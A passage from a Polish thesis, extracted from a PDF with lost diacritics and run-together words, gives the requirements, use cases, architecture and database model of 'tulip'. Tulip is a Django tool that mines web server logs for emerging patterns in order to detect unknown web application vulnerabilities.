Druga opcja w ogóle wyłacza sprawdzanie wzorców pod katem ich powtarzaniasie. Oznacza to, ze jesli dla danej analizy jeden wzorzec pojawia sie kilkukrotnie, tokazde jego wystapienie zostanie zapisane do bazy danych.

Opisywany w tym wymaganiu parametr powinien byc definiowany na poziomiekazdej z analiz.

Mozliwosc automatycznego wczytywania logów z podanych lokalizacji

Identyfikator wymagania: WF-005Priorytet: niski

Wymagane jest, aby system umozliwiał automatyczne wczytywanie logów z pli-ków za pomoca konfigurowalnych zadan. Uzytkownik systemu powinien miec moz-liwosc zarzadzania zadaniami, czyli ich:

— tworzenie,— modyfikowanie,— usuwanie.

Page 28: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.1. Wymagania funkcjonalne 23

Mechanizm automatycznego wczytywania logów powinien na podstawie zdefinio-wanych zadan uruchamiac sie okresowo i wczytywac dane z plików logów. Uzyt-kownik powinien miec mozliwosc wskazania nastepujacych parametrów zadania:

— czestotliwosci wykonywania danego zadania,— lokalizacji, z której maja byc wczytywane logi,— maski nazwy plików,— typu logów wczytywanych przez dane zadanie.

Parametr okreslajacy czestotliwosc wykonania zadania powinien byc definio-wany zgodnie z formatem uzywanym przez aplikacje Cron [13] w Cron tables [14].

System powinien umozliwiac wczytywanie logów zarówno z dysku lokalnego,jak i udziału sieciowego. System powinien przeszukiwac rekurencyjnie wszystkiepodkatalogi poczawszy od zdefiniowanej sciezki.

Uzytkownik powinien miec mozliwosc wskazania za pomoca prostego wyrazeniaregularnego maske, za pomoca której beda wczytywane pliki z zadanej lokalizacji.Pliki, które spełniaja dane wyrazenie powinny zostac wczytane przy pomocy mecha-nizmu obsługujacego typ logów wskazany przez uzytkownika w definicji zadania.

Mozliwosc automatycznego wykonywania analiz

Identyfikator wymagania: WF-006Priorytet: niski

System powinien umozliwiac automatyczne wykonywanie analizy. Analogiczniedo wymagania WF-005 mechanizm powinien byc oparty o definiowane zadania.Uzytkownik powinien miec mozliwosc okreslenia nastepujacych parametrów zada-nia:

— czestotliwosci wykonywania zadania,— zdefiniowania wszystkich parametrów wymaganych do uruchomienia analizy.

Dostepnosc interfejsu uzytkownika

Identyfikator wymagania: WF-007Priorytet: niski

Czesc funkcjonalnosci systemu powinna byc dostepna zdalnie poprzez przegla-darke w postaci stron WWW. Interfejs uzytkownika powinien zawierac nastepujacetresci:

— lista przeprowadzonych analiz,— szczegóły danej analizy,— lista zadan HTTP powiazanych z danym wzorcem.

Kazda strona interfejsu uzytkownika powinna miec spójna szate graficzna.Strony, na których zaprezentowana jest lista wyników, powinny posiadac funk-cjonalnosc stronicowania. Lista wyników ma byc przedstawiona w postaci tabeli.

Na stronie z lista przeprowadzonych analiz kazdy wiersz tabeli ma reprezento-wac jedna analize. Kazdy z wierszy powinien kierowac uzytkownika na strone doszczegółów danej analizy. Lista musi byc posortowana malejaco wzgledem datyprzeprowadzenia analizy. Na liscie powinny byc zaprezentowane nastepujace dane:

— wartosc okna czasowego wyrazona w dniach,

Page 29: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.1. Wymagania funkcjonalne 24

— wartosc wsparcia,— data poczatkowa analizy z dokładnoscia do dni,— data koncowa analizy z dokładnoscia do dni,— liczba okien czasowych dla danej analizy,— liczba wykrytych wzorców,— data przeprowadzenia analizy.

Szczegóły danej analizy to strona z lista wykrytych dla niej wzorców. Opróczstandardowego stronicowania wzorce powinny byc pogrupowane na okna czasowew jakich zostały wykryte. Jeden wzorzec zaprezentowany jest w postaci jednegowiersza tabeli. Kazdy z nich powinien kierowac uzytkownika do strony z lista zadanpowiazanych z danym wzorcem. Dla kazdego wiersza powinny byc zaprezentowanenastepujace dane:

— wzorzec,— próg.

Lista zadan HTTP powiazanych z danym wzorcem to strona z zadaniami, którespełniaja (zawieraja) dany wzorzec, posortowana malejaco wzgledem daty wysłaniazadania. Jeden wiersz tabeli to jedno zadanie. Dla kazdego wiersza powinny byczaprezentowane nastepujace dane:

— docelowy port,— zródłowy adres IP,— URI,— wartosc nagłówka User-Agent,— data i czas wysłania zadania.

Kontrola dostepu do interfejsu uzytkownika

Identyfikator wymagania: WF-008Priorytet: niski

Dostep do interfejsu uzytkownika powinien byc mozliwy dopiero po poprawnymuwierzytelnieniu uzytkownika. Dostep do kazdej strony powinien byc ograniczonyjedynie dla uprawnionych uzytkowników. Kontrola dostepu w systemie powinnabyc zaimplementowana dla kazdej strony na trzech poziomach:

— odczyt,— modyfikacja,— tworzenie.

Prawo modyfikacji dodatkowo umozliwia uzytkownikowi wykonanie akcji usu-wania.

Rozszerzony interfejs uzytkownika

Identyfikator wymagania: WF-009Priorytet: niski

Do interfejsu uzytkownika powinny zostac dodane dodatkowe strony:

— zarzadzanie zadaniami wczytywania logów,— zarzadzanie zadaniami automatycznej analizy,

Page 30: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.1. Wymagania funkcjonalne 25

— zarzadzanie uzytkownikami systemu,— zarzadzanie prawami uzytkowników.

Wszystkie powyzsze strony, oprócz wyswietlania listy elementów, powinny rów-niez umozliwiac wykonanie trzech dodatkowych akcji:

— tworzenia nowego elementu,— modyfikowania istniejacego elementu,— usuwania istniejacego elementu.

W przypadku zarzadzania zadaniami elementem, na którym mozna wykonywacakcje, jest zadanie. Dla strony z uzytkownikami elementem jest uzytkownik, a dlastrony do zarzadzania prawami jest to prawo.

Dodatkowo wymagane jest rozszerzenie funkcjonalnosci stron zdefiniowanychw wymaganiu WF-007. Wszystkie strony powinny zostac uzupełnione o elementypomocy w postaci dymków z trescia. Pomoc powinna opisowo przedstawiac:

— czego dotyczy dana strona,— jakie akcje mozliwe sa do wykonania na stronie,— znaczenie poszczególnych kolumn tabel z rezultatami,— opisy wszelkich elementów przeznaczenia, których uzytkownik pierwszy raz sty-

kajacy sie z systemem moze nie byc pewny.

Strona z lista przeprowadzonych analiz powinna umozliwiac uzytkownikowiprzegladanie wyników w postaci grafu. System powinien umozliwiac wygenero-wanie grafu dla biezacego okna czasowego lub wszystkich okien czasowych danejanalizy. Taki graf powinien byc nieskierowany, generowany na podstawie nastepu-jacych zasad:

— wezłami grafu sa tokeny wystepujace we wzorcach,— wezły grafu przedstawione sa w postaci okregów o róznych promieniach; pro-

mien wezła zalezy od liczby wystapien danego tokenu — im wiecej razy danytoken wystepował tym wiekszy promien ma dany okrag,

— krawedz pomiedzy dwoma wezłami istnieje wtedy, gdy tokeny które dane okregireprezentuja wystepuja razem we wzorcu.

Uzytkownik powinien miec mozliwosc zaznaczenia interesujacych go wezłów,a nastepnie przejscia do strony z wyszukiwania powiazanych zadan HTTP. Stronapowinna wyswietlac wszystkie zadania, które zawieraja tokeny reprezentowaneprzez zaznaczone przez uzytkownika wezły w grafie. Przykładowy graf zaprezen-towałem na rysunku 6.5.

Strona z lista zadan powiazanych ze wzorcem powinna umozliwiac uzytkowni-kowi zdefiniowanie nastepujacych filtrów:

— zródłowy adres IP,— docelowy port,— zawartosc URI.

Page 31: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.2. Wymagania niefunkcjonalne 26

5.2. Wymagania niefunkcjonalne

Ta sekcja zawiera opis standardów jakie powinien spełniac projektowany sys-tem.

Ergonomia interfejsu uzytkownika

Identyfikator wymagania: WN-002Priorytet: krytyczny

Interfejs uzytkownika powinien byc intuicyjny.

Srodowisko uruchomieniowe

Identyfikator wymagania: WN-003Priorytet: krytyczny

System powinien działac zarówno na systemach Windows jak i UNIX. Systempowinien współpracowac z baza danych PostgreSQL w wersji co najmniej 9.1.

Rozszerzalnosc

Identyfikator wymagania: WN-004Priorytet: wysoki

Wymagane jest, aby system został zaprojektowany w taki sposób, aby mozliwebyło jego łatwe rozszerzanie. W szczególnosci powinien umozliwiac:

— łatwe rozszerzanie o nowe algorytmy analizy danych,— łatwe dodawanie nowych stron do interfejsu uzytkownika,— dodawanie rozszerzen do kolorowania elementów strony.

W celu spełnienia ostatniego z powyzszych punktów system powinien posiadacinterfejs, który umozliwia dodanie funkcjonalnosci wpływajacej na sposób wyswie-tlania elementów na stronie wynikowej.

5.3. Model aktorów

Sekcja definiuje i opisuje aktorów wykorzystywanych w przypadkach uzyciaw nastepnej sekcji.

Analityk

Osoba analizujaca wyniki przeprowadzonych analiz z wykorzystaniem interfejsuuzytkownika.

Administrator

Osoba wykorzystujaca funkcjonalnosc systemu z pominieciem interfejsu uzyt-kownika.

Page 32: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.4. Przypadki uzycia 27

Administrator Analityk

UC-003 Przeglądanie wykona nych ana liz

UC-004 Przeglądanie wzorców wykrytych w

da nej a nalizie

UC-005 Przeglądanie żądań spełniających

da ny w zorze c

UC-001 Wczytanie da nych z plik ów

logów

UC-002 Wykonanie analizy

Rysunek 5.1: Model przypadków uzycia

5.4. Przypadki uzycia

Niniejsza sekcja to przypadki uzycia dotyczace zaimplementowanego systemu.Przypadki zostały zidentyfikowane na podstawie wymagan o priorytetach krytycz-nym i wysokim, opisanych w poprzedniej sekcji. Rysunek 5.1 przedstawia diagramprzypadków uzycia opisanych w tej sekcji.

5.4.1. Wczytanie danych z pliku logów

Identyfikator przypadku uzycia: UC-001Aktorzy: administrator

System umozliwia administratorowi wczytanie danych z plików logów do bazydanych ze zdefiniowanej lokalizacji. Wczytywane pliki moga byc w jednym z trzechdozwolonych formatów:

— pcap,— access.log serwera Apache,— error.log serwera Apache.

Pliki w zdefiniowanej lokalizacji maja wspólny format, który jest przekazywanyprzez administratora jako parametr wraz ze sciezka. Po pomyslnym wczytaniupliku, system powinien odnotowac taka informacje w dzienniku wczytanych plików.

Scenariusz główny

Warunki poczatkowe: wszystkie pliki w ramach wskazanego katalogu maja jedenformat, wszystkie pliki maja prawidłowy format.

1) Administrator zleca systemowi wczytanie plików z katalogu podajac katalog,który ma zostac przeszukany oraz format plików w danym katalogu.

2) System przeszukuje katalog wraz ze wszystkimi podkatalogami i wczytuje kazdyplik z zastosowaniem metody odpowiedniej dla podanego formatu danych.

3) Wczytane dane znajduja sie w odpowiednich tabelach bazy danych.

Scenariusz alternatywny 1

Warunki poczatkowe: wszystkie pliki w ramach wskazanego katalogu maja jedenformat, wszystkie pliki maja prawidłowy format, pliki zawieraja równiez dane pro-tokołów innych niz HTTP.

1) Administrator zleca systemowi wczytanie plików z katalogu podajac katalog,który ma zostac przeszukany oraz format jaki maja pliki w danym katalogu.

Page 33: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.4. Przypadki uzycia 28

2) System przeszukuje katalog wraz ze wszystkimi podkatalogami i wczytuje kazdyplik z zastosowaniem metody odpowiedniej dla podanego formatu danych.

3) Tabele w bazie danych zawieraja tylko dane protokołu HTTP.

Scenariusz alternatywny 2

Warunki poczatkowe: wszystkie pliki w ramach wskazanego katalogu maja jedenformat, wszystkie pliki maja prawidłowy format, istnieja pliki, które zostały juzwczesniej wczytane.

1) Administrator zleca systemowi wczytanie plików z katalogu podajac katalog,który ma zostac przeszukany oraz format jaki maja pliki w danym katalogu.

2) System przeszukuje katalog wraz ze wszystkimi podkatalogami. System identy-fikuje te pliki, które zostały juz wczesniej wczytane i je pomija.

3) Dane wczytane z niepominietych plików znajduja sie w odpowiednich tabelachbazy danych.

Scenariusz alternatywny 3

Warunki poczatkowe: istnieja pliki, które maja nieprawidłowy format.

1) Administrator zleca systemowi wczytanie plików z katalogu podajac katalog,który ma zostac przeszukany oraz format jaki maja pliki w danym katalogu.

2) System przeszukuje katalog wraz ze wszystkimi podkatalogami. System pomijate pliki, które nie moga byc w całosci poprawnie wczytane.

3) System zapisuje informacje o nieudanej próbie wczytania pliku wraz z powodemniepowodzenia.

4) Dane wczytane z niepominietych plików znajduja sie w odpowiednich tabelachbazy danych. Zadne dane z niepoprawnych plików nie zostały wczytane do bazydanych.

5.4.2. Wykonanie analizy

Identyfikator przypadku uzycia: UC-002Aktorzy: administrator

System umozliwia administratorowi wykonanie analizy na wczesniej wczytanychdanych za pomoca algorytmu wzorców wyskakujacych. System zapisuje do bazyparametry wykonanej analizy oraz wszystkie znalezione wzorce.

Scenariusz główny

Warunki poczatkowe: w bazie danych istnieja dane wymagane do analizy.

1) Administrator zleca systemowi wykonanie analizy podajac wszystkie wymaganeparametry.

2) System wykonuje analize.3) Szczegóły analizy znajduja sie w odpowiednich tabelach.

Scenariusz alternatywny

Warunki poczatkowe: w bazie danych istnieja dane wymagane do analizy.

1) Administrator zleca systemowi wykonanie analizy podajac wszystkie wymaganeparametry. Róznica pomiedzy podana data konca analizowanego zbioru a po-czatkiem jest mniejsza niz podwojona wartosc okna czasowego.

Page 34: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.5. Architektura 29

2) System zwraca bład.

5.4.3. Przegladanie wykonanych analiz

Identyfikator przypadku uzycia: UC-003Aktorzy: analityk

System umozliwia analitykowi przegladanie wszystkich wykonanych analiz po-przez interfejs uzytkownika.

Scenariusz główny

Warunki poczatkowe: w bazie danych istnieje wykonana analiza.

1) Analityk wchodzi na strone listy analiz.2) System prezentuje liste wszystkich wykonanych analiz.

5.4.4. Przegladanie wzorców wykrytych w danej analizie

Identyfikator przypadku uzycia: UC-004Aktorzy: analityk

System poprzez interfejs uzytkownika umozliwia analitykowi przegladanie wzor-ców wykrytych w wybranej analizie.

Scenariusz główny

Warunki poczatkowe: w bazie danych istnieje wykonana analiza.

1) Analityk wchodzi na strone listy analiz i wybiera szczegóły jednej z nich.2) System prezentuje liste wszystkich wzorców wybranej analizy.

5.4.5. Przegladanie zadan spełniajacych dany wzorzec

Identyfikator przypadku uzycia: UC-005Aktorzy: analityk

System poprzez interfejs uzytkownika umozliwia analitykowi przegladanie za-dan spełniajacych wybrany wzorzec.

Scenariusz główny

Warunki poczatkowe: w bazie danych istnieje wykonana analiza, analityk znajdujesie na stronie szczegółów analizy.

1) Analityk wybiera szczegóły danego wzorca.2) System wyszukuje wszystkie zadania spełniajace dany wzorzec i prezentuje liste

analitykowi.

5.5. Architektura

System został podzielony na trzy moduły w zaleznosci od funkcjonalnosci: mo-duł wczytywania danym z plików logów, moduł wykonywania analiz i moduł inter-fejsu uzytkownika. Na rysunku 5.2 przedstawiłem diagram ogólnej architektury

Page 35: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.5. Architektura 30

tulip

analysis we bpanelda taloa der

model

v ie w

model

algorithms

model

core

ha ndlers

«u se»«u se»

«u se»

«u se»

Rysunek 5.2: Główne komponenty systemu tulip

systemu z zaznaczonymi powiazaniami pomiedzy modułami. Powiazania wynikajaz faktu, ze moduły moga uzywac funkcjonalnosci zawartej w innym module. Naj-prostszym tego przykładem jest współdzielenie modelu danych. Kazdy z modułówposiada model danych w postaci klas, który odpowiada modelowi bazy danych.Jeden obiekt klasy jest odpowiednikiem jednego wiersza w odpowiadajacej tabeli.Aby to wyjasnic, skorzystam z przykładu procesu wczytywania danych logów. Danewczytywane sa do tabeli bazy danych z zadaniami HTTP. W module odpowiedzial-nym za wczytywania jest klasa odpowiadajaca danym w tej tabeli. Jeden obiekttej klasy to jedno pojedyncze zadanie HTTP z tabeli z zadaniami. Moduł interfejsuuzytkownika posiada funkcjonalnosc wyswietlania listy zadan. W celu jej zrealizo-wania moduł korzysta z klas modelu wczytywania danych.

W ponizszych podpunktach przedstawiłem architekture poszczególnych modu-łów. Szczegółowy opis kazdego z nich, wraz z omówieniem przedstawianych diagra-mów klas i modułów, zawarłem w dalszych punktach rozdziału.

5.5.1. Moduł wczytywania danych z plików logów

Rysunek 5.3 to diagram klas przedstawiajacy ogólna budowe modułu wczytywa-nia danych. Główna klasa LogFileProcessor odczytuje kolejne pliki do przetworzeniai na podstawie nazwy decyduje, do której klasy obsługujacej przekazac sterowanie.Klasy obsługujace konkretny format pliku dziedzicza po FileProcessorHandler. Jestto przykład wykorzystania wzorca projektowego strategia [27].

Wczytywanie pojedynczego pliku jest operacja atomowa. Oznacza to, ze jesliw trakcie wczytywania pliku wystapi nieprzewidziany wyjatek to wczytanie całegopliku nie powiedzie sie. Jest to podyktowane wymaganiem dotyczacym niewczy-tywania podwójnie jednego pliku. Objecie transakcja operacji wczytywania plikupowoduje, ze po usunieciu zródła błedu mozna ponowic próbe wczytania pliku,poniewaz w bazie danych nie znajduje sie zadne zadanie z niego pochodzace.

Rozpoznawanie, czy plik logu został juz wczytany do bazy danych, nastepujepoprzez wygenerowanie skrótu jego zawartosci. Skrót nastepnie jest porównywanyz lista skrótów wszystkich wczytanych do systemu plików logów.

Page 36: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.5. Architektura 31

Imported_Files

Imported_Data

HttpFile Proc essorHandler

FileProcess orHa ndler LogFile Proc essor

Pc apFileProcess orHa ndler Ac cess FileProce ssorHandler ErrorFileProcess orHa ndler

ha ndlersha ndlers

corecoremo delmo del

0..*

Rysunek 5.3: Szczegółowa budowa modułu dataloader

5.5.2. Moduł wykonywania analiz

Moduł wykonywania analiz to implementacja algorytmu wzorców wyskakuja-cych. Uruchomienie analizy powoduje wykonanie opisanych ponizej akcji.

W kroku pierwszym na podstawie zdefiniowanych parametrów nastepujewstepny podział danych na okna czasowe. W kolejnym kroku pobierane sa danezawarte w kazdym z okien czasowych.

Dla kazdego okna czasowego pobierane sa w kroku 2. dane w nim sie za-wierajace. Nastepnie dane sa przygotowywane do przekazania ich do zewnetrznejaplikacji generujacej zbiory czeste. Adresy URL dzielone sa na tokeny i kazdemutokenowi przypisywany jest liczbowy identyfikator. Tłumaczenie napisu na liczbejest wymagane przez algorytmy generujace zbiory czeste, poniewaz działaja onena danych liczbowych. Kazdy token otrzymuje unikalny identyfikator liczbowy.Takie mapowanie jest przechowywane w bazie danych, co gwarantuje unikalnoscprzypisania token—identyfikator. Dodatkowo takie podejscie umozliwia pózniejszezoptymalizowanie procesu wyszukiwania zadan spełniajacych zadany wzorzec.

Krok czwarty to wywołanie aplikacji generujacej zbiory czeste. Zanim jednakaplikacja jest wywoływana, to dane przygotowane w poprzednim kroku sa zapi-sywane do pliku w odpowiednim formacie. Po zakonczeniu działania programuzewnetrznego odczytywany jest plik ze zbiorami czestymi.

W kroku piatym wykrywane sa wzorce. Program przechodzi po wszystkich zbio-rach czestych odrzucajac wzorce wykryte w danej analizie. Zbiory czeste, którenie zostały odrzucone oraz nie zostały wykryte w poprzednim oknie czasowym

Page 37: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.6. Implementacja 32

sa wzorcami wyskakujacymi. W celu optymalizacji porównywania dwóch zbiorówdanych dla kazdego zbioru czestego generowany jest skrót z wykorzystaniem funk-cji md5 [29]. Skrót wyliczany jest z napisu stworzonego ze złaczenia uprzednioposortowanych elementów wzorca. Aby sprawdzic, czy dany zbiór wystepował w po-przednim oknie czasowym wystarczy sprawdzic czy wystepował w nim odpowiedniskrót.

5.5.3. Moduł interfejsu uzytkownika

Moduł interfejsu uzytkownika jest zrealizowany zgodnie z modelem MVC [23].Kontroler na podstawie URI zadania HTTP oraz konfiguracji wywołuje odpowiedniafunkcje przetwarzajaca zadanie. Funkcja ta przygotowuje dane odpowiednie dlazadania, a nastepnie przekazuje je do szablonu strony. W szablonie nastepujewygenerowanie strony, która nastepnie jest zwracana w odpowiedzi na przesłanezadanie.

5.6. Implementacja

Ponizsza sekcja zawiera szczegółowy opis zaimplementowanego systemu, któryzostał przeze mnie nazwany tulip.

5.6.1. Technologia wykonania

System został zaimplementowany w jezyku Python [26] z wykorzystaniem fra-meworka Django [16]. Wybór jezyka był podyktowany mozliwoscia szybkiej budowyaplikacji oraz jej prostoty przy jednoczesnym zachowaniu wymagan niefunkcjonal-nych. Python jako jezyk interpretowalny działa na wszystkich tych systemach, naktórych dostepna jest implementacja interpretera. Przenosnosc jest zapewnionabez potrzeby specjalnego dostosowywania kodu do danej wersji systemu.

Python moze byc rozszerzany kodem napisanym w C++. Umozliwia to połacze-nie zalet obydwóch jezyków i zastosowanie jezyka C++ wszedzie tam, gdzie kodnapisany w Pythonie nie spełnia wymagan wydajnosciowych, np. w przypadkuskomplikowanych algorytmów. Własnie ze wzgledów wydajnosciowych, aplikacjedo wyszukiwania zbiorów czestych, zostały zaimplementowane w C++.

Django to framework wspierajacy budowanie aplikacji internetowych opartyo wzorzec projektowy MVC. Django posiada własny mechanizm ORM1, dzieki któ-remu definiowanie modelu po stronie aplikacji jest bardzo proste.

W typowym zastosowaniu, czyli w przypadku aplikacji internetowych, Djangoposiada ułatwienia w postaci gotowego kontrolera oraz mechanizm szablonów.Znaczaco usprawnia to tworzenie stron internetowych, co zostało wykorzystanew module interfejsu uzytkownika.

5.6.2. Model danych

Sekcja przedstawia model relacyjnej bazy danych zaimplementowanego sys-temu. Nazewnictwo oraz po czesci sama struktura jest narzucona przez Django.

1 Mapowanie obiektowo-relacyjne (ang. Object-Relational Mapping) jest to odwzorowanie bazydanych o relacyjnym charakterze na obiekty systemu informatycznego.

Page 38: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.6. Implementacja 33

da taloa der_imported_ files

«co lum n»*PK id :inte ger* loa d_da tetim e :ti mestamp* file nam e :va rcha r(100 )* ha sh_va lue :varchar(3 2)

«PK»+ PK_dataload er_im ported_fi les(in tege r)

da taloa der_imported_ data

«co lum n»*PK id :inte ger* tim e :ti mesta mp src_port :inte ger dst_port :inte ger src_ip : varch ar(15 ) dst_ip : varch ar(15 ) me thod :varchar(10)* uri :varchar(2 500 ) version :varchar(1 0)* tid :inte ger http_use r_ag ent :varch ar(20 00) http_fro m :varcha r(200 0) http_co okie :varchar(2 000)

«FK»* im porte d_file _id :inte ger

«PK»+ PK_dataload er_im ported_d ata(i ntege r)

analysis_analysis

«co lum n»*PK id :inte ger* win dow :inte ger* sup port :real* da te_fro m :t imestamp* da te_to :tim estam p

«PK»+ PK_ana lysis_ anal ysis(i ntege r)

analysis_analysis_de tails

«co lum n» id :inte ger* pa rt :in teger threshol d :re al pa ttern_ hash :varchar(32)

«FK» an alysis_id : integ er

analysis_analysis_de tail_resul ts

«co lum n»*PK id :inte ger

«FK»* de tails_ id :in tege r* token_d iction ary_ id :in tege r

«PK»+ PK_ana lysis_ anal ysis_ detai l_results(in tege r)

analysis_tok en_dictionary

«co lum n»*PK id :inte ger* token_value :varchar(2 000)

«PK»+ PK_ana lysis_ toke n_dictiona ry(in teger)

analysis_se arch_ aggregate

«FK»*PK id :inte ger

«co lum n»* pa ttern :varchar(2 000)

«PK»+ PK_ana lysis_ search_a ggreg ate(i ntege r)

1 1..*

1..*

1

0..*0..1

0..*

0..1

11

Rysunek 5.4: Model bazy danych

Definicja bazy danych zawarta jest w klasach modelu systemu, poprzez odpowied-nie zdefiniowanie i opisanie pól danej klasy. Klasy reprezentujace model danychdefiniowane sa w miare potrzeby dla kazdej aplikacji. Klasy modelu jednej aplika-cji oczywiscie moga odwoływac sie do klas modelu innej aplikacji. W taki sposóbtworzona jest relacja pomiedzy tabelami. Jej typ okreslony jest poprzez odpowiedniopis pól klasy.

Powyzsze podejscie powoduje, ze wbudowany w Django ORM moze przejac całaodpowiedzialnosc za komunikacje z baza danych. Oznacza to, ze programista two-rzac aplikacje wykonuje operacje na obiektach modelu, natomiast ORM synchroni-zuje ich stan z baza danych. Takie podejscie ma nastepujace zalety:

— kod aplikacji jest bardziej przejrzysty,— łatwiejsze jest operowanie na obiektach,— aplikacja moze działac na róznych systemach bazodanowych,— instalacyjny kod SQL jest generowany automatycznie.

Rozwiazanie to tez ma istotne wady, o których istnieniu trzeba miec swiado-mosc. Po pierwsze takie rozwiazanie z pewnoscia nie nadaje sie do skomplikowa-nych zapytan SQL, poniewaz bardzo trudno jest je zapisac w postaci obiektowej.Czasami jest to wrecz niemozliwe.

Kolejna kwestia jest fakt, ze z kazdym systemem ORM programista musi siezapoznac, aby móc go efektywnie wykorzystywac. W szczególnosci trzeba miecswiadomosc w jaki sposób on działa, poniewaz w przeciwnym przypadku mozeto prowadzic do problemów wydajnosciowych.

Page 39: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.6. Implementacja 34

Ostatnia kwestia jest brak mozliwosci rozszerzania klas poprzez obiektowy me-chanizm dziedziczenia. Wynika to z tego, ze kazda klasa bezposrednio przekłada siena tabele w bazie danych. Wykorzystanie dziedziczenia spowodowałoby powstaniedwóch róznych tabel. Jedyna mozliwoscia rozszerzenia tabeli jest wykorzystanierelacji jeden do jednego.

Rysunek 5.4 przedstawia diagram modelu bazy danych. Nazwa kazdej tabelirozpoczyna sie przedrostkiem okreslajacym nazwe aplikacji, w której dana tabelazostała zdefiniowana. W module dataloader znajduja sie nastepujace tabele:

— dataloader_imported_files — wszystkie poprawnie wczytane pliki logów,— dataloader_imported_data — wczytane z plików logów zadania HTTP.

Natomiast moduł analysis składa sie z tabel:

— analysis_analysis — wszystkie przeprowadzone analizy,— analysis_analysis_details — wzorce znalezione w ramach danej analizy z po-

działem na okno czasowe, w którym dany wzorzec wystepuje,— analysis_analysis_detail_results — lista tokenów wchodzacych w skład danego

wzorca,— analysis_token_dictionary — mapowanie tokenów na identyfikatory nume-

ryczne,— analysis_search_aggregate — zapis URL zadania umozliwiajacy łatwe wyszuka-

nie zadan spełniajacych dany wzorzec.

5.6.3. Budowa systemu

Na rysunku 5.2 przedstawiony jest diagram prezentujacy główne komponentyzaimplementowanego systemu. Komponenty dataloader, analysis i webpanel od-powiadaja kolejno wysokopoziomowym komponentom wczytywania danych z lo-gów, analizowania danych oraz interfejsu uzytkownika. Kazdy z nich to aplikacjaw znaczeniu frameworka Django. Poniewaz tylko webpanel słuzy do komunikacjiz przegladarka internetowa, to tylko on zawiera zaimplementowane widoki — mo-duł view. Nie posiada on jednak modułu model, którego klasy odwzorowuja modelbazy danych. Spowodowane jest to tym, ze w pełni wykorzystane sa moduły modeluz innych komponentów. Reszta komponentów posiada jedynie model oraz klasy po-mocnicze realizujace funkcjonalnosci danego modułu. W przypadku komponentudataloader sa to moduły core oraz handlers.

Moduł core to główne klasy do wczytywania logów, natomiast handlers to klasyodpowiedzialne za parsowanie danego typu logu. W komponencie analysis klasypomocnicze znajduja sie w module algorithms i zawieraja implementacje algoryt-mów do analizy danych.

Szczegółowa budowe modułu do wczytywania plików logów przedstawiłem na ry-sunku 5.3. Uruchomienie wczytywania plików polega na przekazaniu do instancjiklasy LogFileProcessor pary okreslajacej sciezke do katalogu z logami oraz typ klasyprzetwarzajacej logi w podanym katalogu. Oczywiscie takich par mozna podacwiele, jednak zaimplementowany system potrafi przetwarzac jeden typ logów dla po-danej sciezki. Po uruchomieniu procesu wczytywania logów klasa LogFileProcessoranalizuje wszystkie podane katalogi wraz z podkatalogami w poszukiwaniu plików.Dla kazdego takiego pliku sprawdzane jest, czy został on juz wczesniej wczytany.Jesli nie, to na podstawie przekazanego wczesniej typu klasy przetwarzajacego logi

Page 40: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.6. Implementacja 35

«e nume ratio ...MiningMethod

CFI FI MFI

«e nume ratio n»SupportType

PERCENTAGE COUNT

«e nume ratio n»EmergingPa tterns

AD_HOC_CACHE GL OBAL_CACHE NO_CACHE

EmergingPa tterns

Token_DictionaryAnalysis

Analysis_De tails Analysis_De tail_ Results

alg orith ms mo del

Se arch_Aggrega te

MiningAlgorithm0..*

0..*

0..*

Rysunek 5.5: Szczegółowa budowa modułu analysis

tworzona jest jej instancja. Słuzy ona juz do wczytania konkretnego pliku. Za-daniem konkretnych klas do parsowania plików logów jest jedynie utworzenie dlakazdego zadania HTTP instancji klasy Imported_Data oraz jej wypełnienie.

Rysunek 5.5 przedstawia budowe komponentu do analizy danych. Moduł algo-rithms zawiera implementacje algorytmu wzorców wyskakujacych. Został on zaim-plementowany zgodnie z opisem przedstawionym w wymaganiach. Za jego realiza-cje odpowiada klasa EmergingPatterns. Dodatkowo zdefiniowane zostały trzy klasypomocnicze:

— MiningMethod,— SupportType,— PatternMiningMethod.

Klasy te pełnia role kontenerów stałych i mozna je porównac do mechanizmuenum w jezyku Java. Pierwsza z nich przechowuje stałe dotyczace trybu algorytmuwyszukiwania zbiorów czestych. Uzyta implementacja algorytmu MAFIA daje moz-liwosc wyszukiwania maksymalnych zbiorów czestych, jak i zbiorów czestych i do-mknietych zbiorów czestych.

